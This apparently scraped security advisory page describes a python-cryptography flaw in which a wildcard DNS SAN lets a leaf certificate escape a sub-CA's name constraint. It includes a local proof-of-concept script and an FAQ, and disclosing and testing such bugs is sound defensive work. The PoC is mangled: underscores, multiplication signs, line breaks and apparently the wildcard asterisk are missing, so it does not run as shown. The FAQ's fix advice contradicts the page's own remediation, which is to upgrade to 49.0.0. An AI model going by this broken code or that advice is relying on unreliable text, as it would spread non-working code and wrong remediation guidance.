GHSA-m2h6-j472-rp4c: Pip/cryptography vulnerability
Summary If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of .example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.
PoC
#!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = .example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for bar.example.com and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, )
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuerkey, ca, exts=()): b = (x509.CertificateBuilder() .subjectname(subject).issuername(issuer) .publickey(key.publickey()) .serialnumber(x509.randomserialnumber()) .notvalidbefore(now - 30 day) .notvalidafter(now + 3650 day) .addextension(x509.BasicConstraints(ca=ca, pathlength=None), critical=True)) for e, c in exts: b = b.addextension(e, c) return b.sign(issuerkey, hashes.SHA256())
Root rk = ec.generateprivatekey(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Test Root")]) root = build(rn, rn, rk, rk, True)
Sub-CA constrained to foo.example.com sk = ec.generateprivatekey(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Sub-CA")]) nc = x509.NameConstraints( permittedsubtrees=[x509.DNSName("foo.example.com")], excludedsubtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)])
Leaf with SAN .example.com (over-broad relative to the constraint) lk = ec.generateprivatekey(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName(".example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)])
Policies capol = ExtensionPolicy.permitall().requirepresent( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) eepol = ExtensionPolicy.permitall().requirepresent( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extensionpolicies(capolicy=capol, eepolicy=eepol) .buildserververifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}")
Impact
Acceptance of invalid certificate chain.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/cryptographyto a version that resolves this vulnerability.Fixed in 49.0.0
Event History
Frequently Asked Questions
What is the severity of GHSA-m2h6-j472-rp4c?
The severity of GHSA-m2h6-j472-rp4c is rated at 55.
How do I fix GHSA-m2h6-j472-rp4c?
To fix GHSA-m2h6-j472-rp4c, ensure your leaf certificates do not have wildcard DNS SANs that can escape permitted names.
What impact does GHSA-m2h6-j472-rp4c have on security?
GHSA-m2h6-j472-rp4c allows potential escape of DNS name validation which can lead to trust issues and security risks.
Who is affected by GHSA-m2h6-j472-rp4c?
Users of the python-cryptography library who rely on its certificate verification capabilities are affected by GHSA-m2h6-j472-rp4c.
When was GHSA-m2h6-j472-rp4c published?
GHSA-m2h6-j472-rp4c was published on August 3, 2026.